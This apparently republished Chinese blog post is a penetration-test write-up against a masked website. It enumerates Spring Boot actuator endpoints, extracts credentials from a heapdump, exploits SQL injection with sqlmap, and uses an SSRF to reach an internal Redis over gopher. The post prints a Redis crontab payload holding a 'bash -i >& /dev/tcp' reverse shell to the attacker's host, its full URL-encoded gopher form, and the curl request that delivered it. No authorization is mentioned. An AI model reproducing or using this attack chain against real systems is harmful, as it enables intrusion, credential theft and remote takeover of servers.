前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次渗透测试

记一次渗透测试

作者头像
渗透攻击红队
发布2024-03-13 16:28:56
1570
发布2024-03-13 16:28:56
举报
文章被收录于专栏:漏洞知识库

前言

网站:www.xxx.com

第一步:信息收集

很明显,cdn,尝试从子域名来看看

我这边比较喜欢将扫出来的东西定位在攻击.

通过扫描所有子域名ip,从中找到spring boot框架的网站,

代码语言:javascript
复制
ctuator/auditLog
actuator/auditevents
actuator/autoconfig
actuator/beans
actuator/caches
actuator/conditions
actuator/configurationMetadata
actuator/configprops
actuator/dump
actuator/env
actuator/events
actuator/exportRegisteredServices
actuator/features
actuator/flyway
actuator/health
actuator/healthcheck
actuator/httptrace
actuator/hystrix.stream
actuator/info
actuator/integrationgraph
actuator/jolokia
actuator/logfile
actuator/loggers
actuator/loggingConfig
actuator/liquibase
actuator/metrics
actuator/mappings
actuator/scheduledtasks
actuator/swagger-ui.html
actuator/prometheus
actuator/refresh
actuator/registeredServices
actuator/releaseAttributes
actuator/resolveAttributes
actuator/scheduledtasks
actuator/sessions

下载他的heapdump文件,使用heapdump_tool工具查找里面的敏感数据

mysql与redis,但是不通外网,先将账号密码收集起来

查找到accesskey

可惜的是这个只是存储同权限

对ip端口扫描发现后台以及xxl-job

很遗憾,不是弱口令,burp也跑不出结果

网站后台也一样

万幸,从其他域名找到了一个注入

查找注入的方法是,浏览器挂这burp,查找可能存在注入的参数慢慢点,差不多了就到burp针对每一个包都测试一边。

直接sqlmap跑

成功跑出,查看能否获取xxl-job账户密码,直接后台打内存马,

可惜的是,只有一个库,只能查看后台账号密码了

成功解开md5,成功登录刚才发现的那个后台

查看有没有拿shell的机会

在经历一段时间的查找,从某个参数找到ssrf漏洞,并验证成功,vps开启http端口

成功回显

先ping一下刚才那个mysql地址查看ip,之后dict协议查看

成功出现

接下来就可以使用收集到的redis密码来利用

Redis配合gopher协议getshell

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了Gopher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

接下来就是利用contrab计划任务反弹shell

我们先将反弹shell列出来

代码语言:javascript
复制
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/1xx.xxx.xxx.1xx:/1221 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
代码语言:javascript
复制
https://github.com/firebroo/sec_tools
代码语言:javascript
复制
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%35%39%0d%0a%5c%6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%36%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

由于这个redis有密码,所以需要加上auth

代码语言:javascript
复制
curl https://xxx//setting/config/xxx?xxx=gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%35%39%0d%0a%5c%6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%36%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a --cookie"cookie"

成功反弹shell

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-03-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档